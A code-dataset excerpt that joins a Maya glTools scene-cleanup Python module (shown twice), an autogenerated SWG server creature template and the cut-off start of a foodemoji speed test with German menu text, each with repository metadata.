Check Shape Names - # ===================== invalidShapeNameList = [] for shape in shapeList: # Check Type if not typeList.count(mc.objectType(shape)): continue # Check Intermediate Object if skipIntermediates and mc.getAttr(shape+'.intermediateObject'): continue # Get transform parent name parent = mc.listRelatives(shape,p=True,pa=True)[0] # Get Short Names shapeSN = mc.ls(shape,sn=True)[0] parentSN = mc.ls(parent,sn=True)[0] # Check Shape Name if strict and (shape != parent+'Shape'): invalidShapeNameList.append(shape) if not shapeSN.startswith(parentSN): invalidShapeNameList.append(shape) elif not shapeSN.count('Shape'): invalidShapeNameList.append(shape) # ================= # - Return Result - # ================= return invalidShapeNameList def intermediateShapesCheck(objList=[]): ''' Return a list of intermediate shapes. @param objList: List of objects to check for intermediate shapes. @type objList: list ''' # Check nodeList if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,transforms=True) # For each node result = [] for obj in objList: # Get All Shapes shapes = mc.listRelatives(obj,s=True,pa=True) if not shapes: shapes = [] for shape in shapes: # Check Intermediate Shapes if mc.objExists(shape+'.intermediateObject'): if mc.getAttr(shape+'.intermediateObject'): result.append(shape) # Return Result return result def multipleShapeCheck(objList=[]): ''' Return a list of transforms with multiple shape nodes @param objList: List of objects to check for multiple shapes. @type objList: list ''' # Get scene transforms if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,dag=True) # Iterate over scene transforms result = [] for transform in objList: # Check Transform if not glTools.utils.transform.isTransform(transform): transform = mc.listRelatives(transform,p=True)[0] # Get transform shape list shapeList = mc.listRelatives(transform,s=True) # Check shape list if not shapeList: continue shapeList = mc.ls(shapeList,type=['mesh','nurbsSurface','nurbsCurve']) # Check number of shapes if len(shapeList) > 1: result.append(transform) # Return result return result def constructionHistoryCheck(geoList=[]): ''' Return a list of nodes that contain construction history @param objList: List of objects to check for construction history. @type objList: list ''' # Get Scene Geometry if not geoList: geoList = mc.ls(geometry=True) else: geoList = mc.listRelatives(geoList,s=True,pa=True) # For each node result = [] for geo in geoList: # Check Construction History hist = mc.listHistory(geo) # Remove Self if hist.count(geo): hist.remove(geo) # Ignore Node Types ignore = mc.ls(hist,type=['groupId','shadingEngine','transform']) hist = list(set(hist)-set(ignore)) # Check History if hist: obj = mc.listRelatives(geo,p=True,pa=True) result.extend(obj) # Remove Duplicate Names if result: result = list(set(result)) # Return Result return result def userAttrCheck(objList=[],includeShapes=False): ''' Return a list of user defined attributes for a specified list of nodes (and shapes). @param objList: List of objects to check for user defined attributes. @type objList: list @param includeShapes: Also check shapes for user defined attributes. @type includeShapes: bool ''' # Initialize Return List result = [] # Check objList if not objList: objList = mc.ls() # For each node for obj in objList: userAttrs = mc.listAttr(obj,ud=True) if not userAttrs: userAttrs = [] for attr in userAttrs: result.append(obj+'.'+attr) # Check Shapes if includeShapes: shapes = mc.listRelatives(obj,s=True) if not shapes: shapes = [] for shape in shapes: userAttrs = mc.listAttr(shape,ud=True) if not userAttrs: userAttrs = [] for attr in userAttrs: result.append(shape+'.'+attr) # Return Result return result def emptyGroupCheck(objList=[]): ''' List empty groups. @param objList: List of transforms to check. @type objList: list ''' # Check objList if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,transforms=True) # Find Empty Groups result = [] for grp in objList: if not mc.listRelatives(grp,ad=True): result.append(grp) # Return Result return result def emptySetCheck(setList=[]): ''' Return a list of empty sets @param setList: List of sets to check. @type setList: list ''' # Check setList if not setList: setList = mc.ls(sets=True) # Check empty sets result = [] for setName in setList: # Check Set if not mc.ls(setName,sets=True): continue # Skip Default Sets if setName.startswith('default'): continue if setName.startswith('initial'): continue # Check Set if not mc.sets(setName,q=True): result.append(setName) # Return result return result def emptyLayerCheck(layerList=[]): ''' Return a list if empty layers @param layerList: List of layers to check. If empty, use all existing layers in current scene. @type layerList: list ''' # Check Layer List if not layerList: layerList = mc.ls(type=['displayLayer','renderLayer','animLayer']) else: layerList = mc.ls(layerList,type=['displayLayer','renderLayer','animLayer']) # Check Empty Layers result = [] for layer in layerList: # Check Layer if not mc.ls(layer,type=['displayLayer','renderLayer','animLayer']): continue # Skip Default Layers if layer.startswith('default'): continue # Check Membership if not glTools.utils.layer.memberList(layer): result.append(layer) # Return Result return result def animCurveCheck(curveTypeList=['animCurveTL','animCurveTA','animCurveTT','animCurveTU','animCurveUL','animCurveUA','animCurveUT','animCurveUU']): ''' Return a list of all existing animCurves of a specified type. @param curveList: List of animCurve types to consider. @type curveList: list @param curveTypeList: List of animCurve types to consider. @type curveTypeList: list ''' # Initialize Return List animCurves = [] # List AnimCurve Nodes for curveType in curveTypeList: curveList = mc.ls(type=curveType) if curveList: animCurves.extend(curveList) # Return Result return animCurves def unusedShadingNodeCheck(): ''' Return a list of unused shading nodes. ''' return glTools.utils.shader.listUnusedShadingNodes() def noGeometryShaderCheck(geoList=[]): ''' Return a list of non intermediate geometry shapes with no shader assignment. @param geoList: List of geometry to check for shader assignments. @type geoList: list ''' # Check Geometry List if not geoList: geoList = mc.ls(type=['mesh','nurbsSurface'],ni=True) else: geoList += mc.ls(mc.listRelatives(geoList,ad=True,pa=True) or [],type=['mesh','nurbsSurface'],ni=True) or [] geoList = mc.ls(geoList,type=['mesh','nurbsSurface'],ni=True) # Check Shader Assignment noShaderList = [] for geo in geoList: SG = glTools.utils.shader.getSG(geo) if not SG: noShaderList.append(geo) # Return Result return noShaderList def unusedReferenceCheck(): ''' Return a list of unused reference nodes. ''' # Initialize Return List result = [] # Get list of existing references refList = glTools.utils.reference.listReferences() # Check Unused Reference for ref in refList: try: refFile = glTools.utils.reference.getReferenceFile(ref) except: result.append(ref) # Return Result return result def unknownNodeCheck(): ''' Return a list of unknown nodes. ''' result = mc.ls(type='unknown') if not result: result = [] return result def checkTransforms(objList=[],tol=0.0000000001): ''' Check for non-zero transforms @param objList: List of transforms to check. @type objList: list @param tol: Value tolerance. @type tol: float ''' # Check Object List if not objList: objList = mc.ls(transforms=True) if not objList: return [] # Check Transforms transformList = [] for obj in objList: # Skip Default Transforms if obj == 'persp': continue if obj == 'front': continue if obj == 'side': continue if obj == 'top': continue # Translate if abs(mc.getAttr(obj+'.tx')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.ty')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.tz')) > tol: transformList.append(obj) continue # Rotate if abs(mc.getAttr(obj+'.rx')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.ry')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.rz')) > tol: transformList.append(obj) continue # Scale if abs(mc.getAttr(obj+'.sx') - 1.0) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.sy') - 1.0) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.sz') - 1.0) > tol: transformList.append(obj) continue # Return Result return transformList def displayOverridesCheck(objList=[]): ''' Check all/specified objects for display overrides @param objList: List of DAG nodes to check. If empty, use all DAG nodes in scene @type objList: list ''' # Check Object List if not objList: objList = mc.ls(dag=True) else: objList = mc.ls(objList,dag=True) # Check Display Overrides displayOverrideList = [] for obj in objList: if mc.getAttr(obj+'.overrideEnabled'): displayOverrideList.append(obj) # Return Result return displayOverrideList # ========= # - Fixes - # ========= def shapeNameFix(shape): ''' Fix incorrectly named geometry shape node @param objList: List of objects to check for valid shape names. @type objList: list @param typeList: List of shape types to check for valid names. @type typeList: list @param skipIntermediates: Skip intermediate shapes @type skipIntermediates: bool ''' # Get Shape Transform Parent parent = mc.listRelatives(shape,p=True)[0] # Check Shape Name shapeName = parent+'Shape' if mc.objExists(shapeName): raise Exception('Shape "'+shapeName+'" already exists! Unable to rename shape "'+shape+'"!') # Rename Shape newShape = mc.rename(shape,shapeName) # Return Result return newShape def deleteIntermediateShapes(objList=[]): ''' Delete all intermediate shapes in the scene ''' # Get list of intermediate shapes intermediateShapeList = intermediateShapesCheck(objList) # Delete intermediate shapes if intermediateShapeList: mc.delete(intermediateShapeList) # Return result return intermediateShapeList def deleteConstructionHistory(geoList=[]): ''' Delete construction history for specified geometry @param geoList: List of objects to delete for construction history from. @type geoList: list ''' # Get Scene Geometry if not geoList: geoList = mc.ls(geometry=True) # Delete History for geo in geoList: mc.delete(geo,ch=True) # Return Result return geoList def deleteUserAttrs(nodeList=[],includeShapes=False): ''' Delete user defined attributes from the specified list of nodes @param nodeList: List of nodes to delete user defined attrs from. If empty, assume all nodes. @type nodeList: list @param includeShapes: Delete user attributes @type includeShapes: bool ''' # Check nodeList if not nodeList: nodeList = mc.ls() # For each node for node in nodeList: # Delete user attributes glTools.utils.attribute.deleteUserAttrs(node) # Include Shapes if includeShapes: # Delete shape user attributes shapes = mc.listRelatives(node,s=True) for shape in shapes: glTools.utils.attribute.deleteUserAttrs(shape) def deleteEmptyGroups(objList=[]): ''' Delete empty groups ''' # Get Empty Group List emptyGrpList = emptyGroupCheck(objList=objList) # Delete Empty Groups if emptyGrpList: mc.delete(emptyGrpList) # Return Result return emptyGrpList def deleteEmptySets(setList=[]): ''' Delete empty groups ''' # Get Empty Group List emptySetList = emptySetCheck(setList=setList) # Delete Empty Groups if emptySetList: mc.delete(emptySetList) # Return Result return emptySetList def deleteEmptyLayers(layerList=[]): ''' Delete empty groups ''' # Get Empty Group List emptyLayerList = emptyLayerCheck(layerList=layerList) # Delete Empty Groups if emptyLayerList: mc.delete(emptyLayerList) # Return Result return emptyLayerList def deleteUnknownNodes(): ''' Delete all node of type "unknown" in the scene ''' # Get list of unknown nodes unknownNodes = unknownNodeCheck() or [] # Delete unknown nodes for node in unknownNodes: try: mc.lockNode(node,l=False) mc.delete(node) except: print('Problem deleting unknown node "'+node+'"!') # Return Result return unknownNodes def deleteNodesByType(nodeTypeList=[]): ''' Delete nodes of the specified type(s). @param nodeTypeList: List of node types to delete. @type nodeTypeList: list ''' # Check Node Types if not nodeTypeList: return [] # Get Node List (by type) nodeList = mc.ls(type=nodeTypeList) # Delete Nodes if nodeList: mc.delete(nodeList) else: nodeList = [] # Return Result return nodeList def deleteUnusedReferenceNodes(): ''' Delete all unused reference nodes in the scene ''' mm.eval('RNdeleteUnused') def deleteEmptySets(setList=[]): ''' Delete empty object sets @param setList: A list of sets to check. If empty, chack all sets in current scene. @type setList: list ''' # Check setList if not setList: setList = mc.ls(sets=True) # Check empty sets emptySetList = [] for set in setList: if not mc.sets(set,q=True): emptySetList.append(set) # Delete empty sets for emptySet in emptySetList: try: mc.delete(emptySet) except: pass # Return result return emptySetList def deleteAllSets(excludeList=[]): ''' Delete unused object sets @param excludeList: A list of sets to exclude from the list of unused sets. @type excludeList: list ''' # Get set list setList = mc.ls(sets=True) if excludeList: excludeSetList = mc.ls(excludeList,sets=True) setList = list(set(setList)-set(excludeSetList)) # Delete unused sets for deleteSet in setList: try: mc.delete(deleteSet) except: pass # Return result return setList def deleteUnusedShadingNodes(): ''' Delete all unused shading nodes in the scene ''' #texList = mc.ls(tex=True) #if texList: mc.delete(texList) mm.eval('MLdeleteUnused') def deleteDisplayLayers(): ''' Delete all display layers ''' # Get display layer list displayLayers = mc.ls(type='displayLayer') displayLayers.remove('defaultLayer') # Delete display layers if displayLayers: mc.delete(displayLayers) # Return result return displayLayers def deleteRenderLayers(): ''' Delete all render layers ''' # Get render layer list renderLayers = mc.ls(type='renderLayer') renderLayers.remove('defaultRenderLayer') # Delete render layers if renderLayers: mc.delete(renderLayers) # Return result return renderLayers def assignInitialShadingGroup(geoList=[]): ''' Assign initialShadingGroup (lambert1) to specified geometry. @param geoList: List of geometry to apply default shader to. If empty, use all scene geometry @type geoList: list ''' # Check geoList if not geoList: geoList = mc.ls(geometry=True) if not geoList: return [] # Assign Initial Shading Group mc.sets(geoList,fe='initialShadingGroup') # Return result return geoList def zeroTransforms(objList=[]): ''' Reset transform values @param objList: List of transforms to zero out. @type objList: list ''' # Check Object List if not objList: objList = mc.ls(transforms=True) if not objList: return [] # Check Transforms for obj in objList: # Translate if mc.getAttr(obj+'.tx',se=True): mc.setAttr(obj+'.tx',0) if mc.getAttr(obj+'.ty',se=True): mc.setAttr(obj+'.ty',0) if mc.getAttr(obj+'.tz',se=True): mc.setAttr(obj+'.tz',0) # Rotate if mc.getAttr(obj+'.rx',se=True): mc.setAttr(obj+'.rx',0) if mc.getAttr(obj+'.ry',se=True): mc.setAttr(obj+'.ry',0) if mc.getAttr(obj+'.rz',se=True): mc.setAttr(obj+'.rz',0) # Scale if mc.getAttr(obj+'.sx',se=True): mc.setAttr(obj+'.sx',0) if mc.getAttr(obj+'.sy',se=True): mc.setAttr(obj+'.sy',0) if mc.getAttr(obj+'.sz',se=True): mc.setAttr(obj+'.sz',0) # Return Result return objList def copyInputShapeAttrs(geoList=[]): ''' Copy user defined attributes from an input shape to the output deforming shape. @param geoList: List of geometry to copy atributes for. @type geoList: list ''' # Check Geometry List if not geoList: geoList = mc.listRelatives(mc.ls(geometry=True) or [],p=True,pa=True) or [] if not geoList: return [] # Copy Input Shape Attrs for geo in geoList: # Get Output Shape geoShape = mc.listRelatives(geo,s=True,ni=True) or [] if not geoShape: print('No shape found for geometry transform "'+geo+'"!') continue # Get Input Shape geoInputShape = geoShape[0] try: geoInputShape = glTools.utils.shape.findInputShape(geoShape[0]) except: pass # Copy User Attributes if geoInputShape != geoShape[0]: userAttr = mc.listAttr(geoInputShape,ud=True,s=True) or [] for at in userAttr: glTools.utils.attribute.copyAttr(geoInputShape,geoShape[0],at) # ======== # - MISC - # ======== def removeTurtle(): ''' Delete nodes and unload plgin related to the Turtle Renderer. ''' # Remove Turtle Nodes turtleNode = 'TurtleDefaultBakeLayer' if mc.objExists(turtleNode): print('Removing Turtle nodes...') mc.lockNode(turtleNode,l=False) mc.delete(turtleNode) # Unload Plugin if mc.pluginInfo('Turtle',q=True,loaded=True): print('Unloading Turtle plugin...') try: mc.unloadPlugin('Turtle',f=True) except: print('Error unloading Turtle plugin!')

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import maya.mel as mm import maya.cmds as mc import glTools.utils.attribute import glTools.utils.base import glTools.utils.layer import glTools.utils.reference import glTools.utils.shader import glTools.utils.shape import glTools.utils.transform import re def toggleCons(state): conList = mc.ls('*Con*_jnt',type='joint') for conJnt in conList: if state: glTools.utils.base.displayOverride(conJnt,overrideEnable=1,overrideLOD=0) mc.setAttr(conJnt+'.drawStyle',0) else: glTools.utils.base.displayOverride(conJnt,overrideEnable=1,overrideLOD=1) mc.setAttr(conJnt+'.drawStyle',2) if mc.getAttr(conJnt+'.radius',se=True): mc.setAttr(conJnt+'.radius',0.0) mc.setAttr(conJnt+'.radius',cb=False) if mc.getAttr(conJnt+'.ro',se=True): mc.setAttr(conJnt+'.ro',cb=False) return conList def toggleEnds(state): endList = mc.ls('*End_jnt',type='joint') for endJnt in endList: if state: glTools.utils.base.displayOverride(endJnt,overrideEnable=1,overrideLOD=0) mc.setAttr(endJnt+'.drawStyle',0) else: glTools.utils.base.displayOverride(endJnt,overrideEnable=1,overrideLOD=1) mc.setAttr(endJnt+'.drawStyle',2) if mc.getAttr(endJnt+'.radius',se=True): mc.setAttr(endJnt+'.radius',0.0) mc.setAttr(endJnt+'.radius',cb=False) if mc.getAttr(endJnt+'.ro',se=True): mc.setAttr(endJnt+'.ro',cb=False) return endList def disableDrawingOverrides(grp): if not mc.objExists(grp): raise Exception('Transform "'+grp+'" does not exists!') if not glTools.utils.transform.isTransform(grp): raise Exception('Object "'+grp+'" is not a valid transform!') nodeList = mc.ls(mc.listRelatives(grp,ad=True, pa=True) or [],dag=True) or [] if not nodeList: return [] overrideName = 'overrideEnabled' for node in nodeList: overrideAttr = node+'.'+overrideName if not mc.attributeQuery(overrideName,n=node,ex=True): print('Override attribute "'+overrideAttr+'" does not exist! Skipping...') continue overrideConn = mc.listConnections(overrideAttr,s=True,d=False) or [] if overrideConn: print('Found incoming connection for override attribute "'+overrideAttr+'"! ('+overrideConn[0]+')') print('Disconnecting attribute and disabling drawing overrides...') mc.disconnectAttr(overrideConn[0],overrideAttr) try: mc.setAttr(overrideAttr,0) except: pass return nodeList def uniqueNameCheck(objList=[],transformsOnly=False): if not objList: objList = mc.ls() if transformsOnly: nodeList = mc.ls(objList,transforms=True) else: nodeList = mc.ls(objList,dag=True) nonUniqueList = [i for i in nodeList if i.count('|')] return nonUniqueList def validNameCheck(objList=[]): if not objList: objList = mc.ls() if not objList: return [] defNodes = ['dof1','time1','lambert1','postProcessList1','sequenceManager1','lightLinker1','renderGlobalsList1','dynController1','lightList1','particleCloud1','shaderGlow1'] objList = [obj for obj in objList if not defNodes.count(obj)] objList = [obj for obj in objList if not obj.startswith('default')] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectTypeFilter'] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectNameFilter'] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectScriptFilter'] result = [] for obj in objList: if obj.count('pasted'): result.append(obj) if obj.count('poly'): result.append(obj) if obj.count('__'): result.append(obj) digitSearch = re.search('(\d+)$', obj) if digitSearch and glTools.utils.transform.isTransform(obj): if digitSearch.group(0): result.append(obj) result = list(set(result)) return result def shapeNameCheck( objList = [], typeList = ['mesh','nurbsCurve','nurbsSurface'], skipIntermediates = True, skipMultipleShapes = False, strict = True ): if not objList: objList = mc.ls(type=typeList) shapeList = [] for obj in objList: if glTools.utils.transform.isTransform(obj): objShapes = mc.listRelatives(obj,s=True,pa=True) if not objShapes: continue if (len(objShapes) > 1) and skipMultipleShapes: continue tShapeList = mc.listRelatives(obj,s=True,ni=skipIntermediates,pa=True) for shape in tShapeList: shapeList.append(obj) elif glTools.utils.shape.isShape(obj): shapeList.append(obj) else: print('Unable to determine shape from object "'+obj+'"! Skipping...') invalidShapeNameList = [] for shape in shapeList: if not typeList.count(mc.objectType(shape)): continue if skipIntermediates and mc.getAttr(shape+'.intermediateObject'): continue parent = mc.listRelatives(shape,p=True,pa=True)[0] shapeSN = mc.ls(shape,sn=True)[0] parentSN = mc.ls(parent,sn=True)[0] if strict and (shape != parent+'Shape'): invalidShapeNameList.append(shape) if not shapeSN.startswith(parentSN): invalidShapeNameList.append(shape) elif not shapeSN.count('Shape'): invalidShapeNameList.append(shape) return invalidShapeNameList def intermediateShapesCheck(objList=[]): if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,transforms=True) result = [] for obj in objList: shapes = mc.listRelatives(obj,s=True,pa=True) if not shapes: shapes = [] for shape in shapes: if mc.objExists(shape+'.intermediateObject'): if mc.getAttr(shape+'.intermediateObject'): result.append(shape) return result def multipleShapeCheck(objList=[]): if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,dag=True) result = [] for transform in objList: if not glTools.utils.transform.isTransform(transform): transform = mc.listRelatives(transform,p=True)[0] shapeList = mc.listRelatives(transform,s=True) if not shapeList: continue shapeList = mc.ls(shapeList,type=['mesh','nurbsSurface','nurbsCurve']) if len(shapeList) > 1: result.append(transform) return result def constructionHistoryCheck(geoList=[]): if not geoList: geoList = mc.ls(geometry=True) else: geoList = mc.listRelatives(geoList,s=True,pa=True) result = [] for geo in geoList: hist = mc.listHistory(geo) if hist.count(geo): hist.remove(geo) ignore = mc.ls(hist,type=['groupId','shadingEngine','transform']) hist = list(set(hist)-set(ignore)) if hist: obj = mc.listRelatives(geo,p=True,pa=True) result.extend(obj) if result: result = list(set(result)) return result def userAttrCheck(objList=[],includeShapes=False): result = [] if not objList: objList = mc.ls() for obj in objList: userAttrs = mc.listAttr(obj,ud=True) if not userAttrs: userAttrs = [] for attr in userAttrs: result.append(obj+'.'+attr) if includeShapes: shapes = mc.listRelatives(obj,s=True) if not shapes: shapes = [] for shape in shapes: userAttrs = mc.listAttr(shape,ud=True) if not userAttrs: userAttrs = [] for attr in userAttrs: result.append(shape+'.'+attr) return result def emptyGroupCheck(objList=[]): if not objList: objList = mc.ls(transforms=True) else: objList = mc.ls(objList,transforms=True) result = [] for grp in objList: if not mc.listRelatives(grp,ad=True): result.append(grp) return result def emptySetCheck(setList=[]): if not setList: setList = mc.ls(sets=True) result = [] for setName in setList: if not mc.ls(setName,sets=True): continue if setName.startswith('default'): continue if setName.startswith('initial'): continue if not mc.sets(setName,q=True): result.append(setName) return result def emptyLayerCheck(layerList=[]): if not layerList: layerList = mc.ls(type=['displayLayer','renderLayer','animLayer']) else: layerList = mc.ls(layerList,type=['displayLayer','renderLayer','animLayer']) result = [] for layer in layerList: if not mc.ls(layer,type=['displayLayer','renderLayer','animLayer']): continue if layer.startswith('default'): continue if not glTools.utils.layer.memberList(layer): result.append(layer) return result def animCurveCheck(curveTypeList=['animCurveTL','animCurveTA','animCurveTT','animCurveTU','animCurveUL','animCurveUA','animCurveUT','animCurveUU']): animCurves = [] for curveType in curveTypeList: curveList = mc.ls(type=curveType) if curveList: animCurves.extend(curveList) return animCurves def unusedShadingNodeCheck(): return glTools.utils.shader.listUnusedShadingNodes() def noGeometryShaderCheck(geoList=[]): if not geoList: geoList = mc.ls(type=['mesh','nurbsSurface'],ni=True) else: geoList += mc.ls(mc.listRelatives(geoList,ad=True,pa=True) or [],type=['mesh','nurbsSurface'],ni=True) or [] geoList = mc.ls(geoList,type=['mesh','nurbsSurface'],ni=True) noShaderList = [] for geo in geoList: SG = glTools.utils.shader.getSG(geo) if not SG: noShaderList.append(geo) return noShaderList def unusedReferenceCheck(): result = [] refList = glTools.utils.reference.listReferences() for ref in refList: try: refFile = glTools.utils.reference.getReferenceFile(ref) except: result.append(ref) return result def unknownNodeCheck(): result = mc.ls(type='unknown') if not result: result = [] return result def checkTransforms(objList=[],tol=0.0000000001): if not objList: objList = mc.ls(transforms=True) if not objList: return [] transformList = [] for obj in objList: if obj == 'persp': continue if obj == 'front': continue if obj == 'side': continue if obj == 'top': continue if abs(mc.getAttr(obj+'.tx')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.ty')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.tz')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.rx')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.ry')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.rz')) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.sx') - 1.0) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.sy') - 1.0) > tol: transformList.append(obj) continue if abs(mc.getAttr(obj+'.sz') - 1.0) > tol: transformList.append(obj) continue return transformList def displayOverridesCheck(objList=[]): if not objList: objList = mc.ls(dag=True) else: objList = mc.ls(objList,dag=True) displayOverrideList = [] for obj in objList: if mc.getAttr(obj+'.overrideEnabled'): displayOverrideList.append(obj) return displayOverrideList def shapeNameFix(shape): parent = mc.listRelatives(shape,p=True)[0] shapeName = parent+'Shape' if mc.objExists(shapeName): raise Exception('Shape "'+shapeName+'" already exists! Unable to rename shape "'+shape+'"!') newShape = mc.rename(shape,shapeName) return newShape def deleteIntermediateShapes(objList=[]): intermediateShapeList = intermediateShapesCheck(objList) if intermediateShapeList: mc.delete(intermediateShapeList) return intermediateShapeList def deleteConstructionHistory(geoList=[]): if not geoList: geoList = mc.ls(geometry=True) for geo in geoList: mc.delete(geo,ch=True) return geoList def deleteUserAttrs(nodeList=[],includeShapes=False): if not nodeList: nodeList = mc.ls() for node in nodeList: glTools.utils.attribute.deleteUserAttrs(node) if includeShapes: shapes = mc.listRelatives(node,s=True) for shape in shapes: glTools.utils.attribute.deleteUserAttrs(shape) def deleteEmptyGroups(objList=[]): emptyGrpList = emptyGroupCheck(objList=objList) if emptyGrpList: mc.delete(emptyGrpList) return emptyGrpList def deleteEmptySets(setList=[]): emptySetList = emptySetCheck(setList=setList) if emptySetList: mc.delete(emptySetList) return emptySetList def deleteEmptyLayers(layerList=[]): emptyLayerList = emptyLayerCheck(layerList=layerList) if emptyLayerList: mc.delete(emptyLayerList) return emptyLayerList def deleteUnknownNodes(): unknownNodes = unknownNodeCheck() or [] for node in unknownNodes: try: mc.lockNode(node,l=False) mc.delete(node) except: print('Problem deleting unknown node "'+node+'"!') return unknownNodes def deleteNodesByType(nodeTypeList=[]): if not nodeTypeList: return [] nodeList = mc.ls(type=nodeTypeList) if nodeList: mc.delete(nodeList) else: nodeList = [] return nodeList def deleteUnusedReferenceNodes(): mm.eval('RNdeleteUnused') def deleteEmptySets(setList=[]): if not setList: setList = mc.ls(sets=True) emptySetList = [] for set in setList: if not mc.sets(set,q=True): emptySetList.append(set) for emptySet in emptySetList: try: mc.delete(emptySet) except: pass return emptySetList def deleteAllSets(excludeList=[]): setList = mc.ls(sets=True) if excludeList: excludeSetList = mc.ls(excludeList,sets=True) setList = list(set(setList)-set(excludeSetList)) for deleteSet in setList: try: mc.delete(deleteSet) except: pass return setList def deleteUnusedShadingNodes(): mm.eval('MLdeleteUnused') def deleteDisplayLayers(): displayLayers = mc.ls(type='displayLayer') displayLayers.remove('defaultLayer') if displayLayers: mc.delete(displayLayers) return displayLayers def deleteRenderLayers(): renderLayers = mc.ls(type='renderLayer') renderLayers.remove('defaultRenderLayer') if renderLayers: mc.delete(renderLayers) return renderLayers def assignInitialShadingGroup(geoList=[]): if not geoList: geoList = mc.ls(geometry=True) if not geoList: return [] mc.sets(geoList,fe='initialShadingGroup') return geoList def zeroTransforms(objList=[]): if not objList: objList = mc.ls(transforms=True) if not objList: return [] for obj in objList: if mc.getAttr(obj+'.tx',se=True): mc.setAttr(obj+'.tx',0) if mc.getAttr(obj+'.ty',se=True): mc.setAttr(obj+'.ty',0) if mc.getAttr(obj+'.tz',se=True): mc.setAttr(obj+'.tz',0) if mc.getAttr(obj+'.rx',se=True): mc.setAttr(obj+'.rx',0) if mc.getAttr(obj+'.ry',se=True): mc.setAttr(obj+'.ry',0) if mc.getAttr(obj+'.rz',se=True): mc.setAttr(obj+'.rz',0) if mc.getAttr(obj+'.sx',se=True): mc.setAttr(obj+'.sx',0) if mc.getAttr(obj+'.sy',se=True): mc.setAttr(obj+'.sy',0) if mc.getAttr(obj+'.sz',se=True): mc.setAttr(obj+'.sz',0) return objList def copyInputShapeAttrs(geoList=[]): if not geoList: geoList = mc.listRelatives(mc.ls(geometry=True) or [],p=True,pa=True) or [] if not geoList: return [] for geo in geoList: geoShape = mc.listRelatives(geo,s=True,ni=True) or [] if not geoShape: print('No shape found for geometry transform "'+geo+'"!') continue geoInputShape = geoShape[0] try: geoInputShape = glTools.utils.shape.findInputShape(geoShape[0]) except: pass if geoInputShape != geoShape[0]: userAttr = mc.listAttr(geoInputShape,ud=True,s=True) or [] for at in userAttr: glTools.utils.attribute.copyAttr(geoInputShape,geoShape[0],at) def removeTurtle(): turtleNode = 'TurtleDefaultBakeLayer' if mc.objExists(turtleNode): print('Removing Turtle nodes...') mc.lockNode(turtleNode,l=False) mc.delete(turtleNode) if mc.pluginInfo('Turtle',q=True,loaded=True): print('Unloading Turtle plugin...') try: mc.unloadPlugin('Turtle',f=True) except: print('Error unloading Turtle plugin!')

true

790c8a5ad4870b39b761cf8182a056f45a6f79f3

446

py

Python

data/scripts/templates/object/mobile/shared_warren_bors_teraud.py

obi-two/GameServer

7d37024e2291a97d49522610cd8f1dbe5666afc2

[ "MIT" ]

20

2015-02-23T15:11:56.000Z

2022-03-18T20:56:48.000Z

data/scripts/templates/object/mobile/shared_warren_bors_teraud.py

apathyboy/swganh

665128efe9154611dec4cb5efc61d246dd095984

[ "MIT" ]

null

data/scripts/templates/object/mobile/shared_warren_bors_teraud.py

apathyboy/swganh

665128efe9154611dec4cb5efc61d246dd095984

[ "MIT" ]

20

2015-04-04T16:35:59.000Z

2022-03-24T14:54:37.000Z

#### NOTICE: THIS FILE IS AUTOGENERATED #### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY #### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES from swgpy.object import * def create(kernel): result = Creature() result.template = "object/mobile/shared_warren_bors_teraud.iff" result.attribute_template_id = 9 result.stfName("npc_name","warren_bors_teraud") #### BEGIN MODIFICATIONS #### #### END MODIFICATIONS #### return result

26.235294

64

0.730942

true

790c8b129da1130af784e30e95e0fd923fc98ff0

5,432

py

Python

tests/speed.py

cvzi/foodemoji

b43d80f5a6abada96d8383a5fb442e4bf4083631

[ "MIT" ]

1

2021-07-28T18:31:59.000Z

tests/speed.py

cvzi/foodemoji

b43d80f5a6abada96d8383a5fb442e4bf4083631

[ "MIT" ]

null

tests/speed.py

cvzi/foodemoji

b43d80f5a6abada96d8383a5fb442e4bf4083631

[ "MIT" ]

1

2018-10-23T09:20:52.000Z

# -*- coding: utf-8 -*- # https://github.com/cvzi/foodemoji import sys import os import timeit try: import foodemoji except ImportError: include = os.path.relpath(os.path.join(os.path.dirname(__file__), "..")) sys.path.insert(0, include) import foodemoji print("Imported foodemoji from %s" % os.path.abspath(os.path.join(include, "foodemoji"))) PY2 = sys.version_info.major == 2 text = """Erbsencremesuppe Mousse Tiramisu, Wackelpudding Kirsch (vegan) Milch Auswahl an frischen Salaten, Gemüse-, Fisch-, Geflügel-, Schweine- und Rindfleisch- und vegetarischen und veganen Gerichten Tagessuppe, Fish + Chips, Remouladensauce, Salat der Saison Tagessuppe, 2 Polentaschnitten mit Spinatfüllung, Tomatensauce, Reis, Salat der Saison Karotten-Ingwersuppe Rote Grütze (vegan), Zweierlei Mousse au Chocolat Milch Tagessuppe, Schweinegulasch, Champignonsauce, Salzkartoffeln, Salat der Saison Tagessuppe, 5 Cannelloni mit Ricotta-Spinat-Füllung, Tomatensauce, Reibekäse, Salat der Saison Tomatencremesuppe Milchreis mit Kirschen, Rote Grütze (vegan) Tagessuppe, Feuerwurst, Portion Senf, Pommes frites, Salat der Saison Tagessuppe, 2 Kartoffelknödel, Rahmgemüse, Salat der Saison Kohlrabicremesuppe Creme Brulee, Kokosmilch mit Ananas (vegan) Schlemmerbuffet je 